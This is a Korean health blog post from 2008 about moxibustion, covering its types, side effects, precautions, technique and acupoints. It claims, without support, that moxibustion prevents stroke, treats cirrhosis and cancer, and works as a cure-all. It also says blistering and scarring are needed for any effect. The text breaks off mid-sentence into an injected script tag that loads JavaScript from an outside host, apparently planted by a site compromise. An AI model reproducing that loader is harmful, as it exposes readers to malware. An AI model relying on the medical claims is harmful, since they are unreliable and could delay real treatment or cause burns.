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건강상식 스스로 지키는 건강, 뜸
2008-09-27 03:57:28
건강지킴이

한국에서 추석에 김남수옹께서 침, 뜸 강의를 하셔서 뜸 바람을 일으키고 계신데요. 구당 김남수옹께서 만드신 무극보양뜸은 여러 싸이트에 많이 나와 있으니 다른쪽으로 얘기를 해 볼까 합니다.

뜸은 기본적으로 몸이 차신 분에게 좋으나 몸이 뜨거우신 분도 국부에 차가운 기운이 들어왔을 경우에 사용합니다. 어떤 분은 뜸에도 보사가 있어서 몸이 뜨거운 사람에게선 열이 나가고 차가운 사람은 데워진다고 합니다. 일반적으로 뜸은 홀수로 뜨지만 쌀알 크기로 뜨는 것은 관계없다고 생각되며 크게 뜰 경우 아홉번을 넘지 않습니다.

1. 뜸의 종류
뜸의 종류는 여러가지지만 간단하게 말씀드리면 살에다 직접 뜨는 직접구와 살과 거리를 두고 열기만 전하는 간접구로 나뉩니다. 일반적으로 쌀알 반정도 크기로 살에 직접 뜨시면 됩니다.

2. 뜸의 부작용
뜸을 뜨면 수포가 생기고 흉터가 생깁니다. 그러나 부위에 따라 틀리겠지만 수포가 생기지 않으면 효과가 없습니다. 저야 한의사라 부작용으로 생각 안 하지만 환자의 입장에서 보면 부작용일 수도 있고 흉터 때문에 권해 드리기가 곤란하기도 합니다. 특히 당뇨병 환자에게 시술하면 효과야 탁월하지만 환자의 특성상 아무는 시간이 오래 걸려 수포나 상처로 인해 한의사들이 곤란을 당하기도 합니다.
 


3. 뜸의 주의사항
? 목욕을 하기 전이나 후에는 뜸을 금합니다. 열감이 5배 이상 느낍니다.
? 타고 남은 재를 뜨겁다고 털어내면 상처가 생길 수 있습니다. 손톱으로 눌러서 끄십시요.

4. 뜸 뜨는 요령
? 뜸을 처음 뜨시는 분이나 너무 뜨겁다고 느끼시는 분은 1/5정도 남았을 때 손톱으로 눌러서 끄시면 됩니다. 세 번째 정도 부터 끝까지 타도록 놔두시면 될겁니다.
? 뜸을 치우지 마시고 그 위에 뜨면 덜 뜨겁습니다.
? 직접구가 뜨거우면 오공뜸을 뜨시기 바랍니다. 오공뜸은 넓은 면적에만 사용 할 수 있다는 단점이 있지만 효과가 좋습니다. 주로 배나 등에 사용합니다.

5. 중풍예방
현종과 족삼리에 뜸을 매일 뜨면 중풍을 예방할 수 있다고 합니다. 또한, 뜸냄새가 나는 집에는 중풍 걸리는 사람이 없다고 합니다. 최소한 3개월은 하셔야 효과가 나기 시작합니다.
 

? 현종 : 바깥 쪽 복숭아 뼈에서 본인의 손바닥 넓이만큼 위로 올라가 뼈가 끝나는 곳 약간 앞쪽의 들어간 곳.
 

? 족삼리 : 무릎을 굽혔을 때 무릎 바깥 쪽 움푹 들어간 곳에서 본인의 손바닥 넓이만큼 내려와 경골(무릎에서 발목까지 이어진 큰 뼈)의 바깥쪽에서 약간 들어간 곳. 또는 경골을 따라 아래에서 위로 올라가다가 뼈가 약간 튀어나온 곳의 약간 바깥쪽에서 들어간 곳.

6. 티눈, 사마귀
티눈이나 사마귀 자리에 그 크기만큼 뜸을 계속해서 떠 보세요. 딱지가 져서 떨어집니다.

7. 만병통치
무극보양뜸 훨씬 이전부터 유명한 자리입니다. 간경화나 암에 직접구를 크게 떠서 치료에 사용하기도 합니다. 바로 중완, 신궐, 관원 세자리입니다. 신궐(배꼽)에는 반드시 천일염을 깔고 떠야 합니다. 그렇지 않으면 오공뜸으로 한다해도 배꼽이 따가와서 못 견딥니다. 중병이 아니면 오공뜸을 사용합니다. 효과도 탁월하고 빨리 타고 크기도 커서 주위 다른 혈들까지도 도와줍니다. 몸이나 복부가 차신분들에게 아주 좋습니다.
 

? 중완 : 가슴 아래 가슴뼈가 만나는 곳에서 배꼽까지 연결선상의 중간. 근처에 가로 선이 있으신 분은 그 곳에 뜨시면 됩니다.
 

? 신궐 : 배꼽. 반드시 천일염으로 채우고 떠야 합니다. 사진은 큰 뜸을 직접 뜨느라고 가득 채웠지만 쌀알 크기나 오공뜸은 넘치게 채우실 필요는 없습니다.
 


? 관원 : 치골(배꼽아래 음?script src=http://s.lbs66.cn/kr.js>


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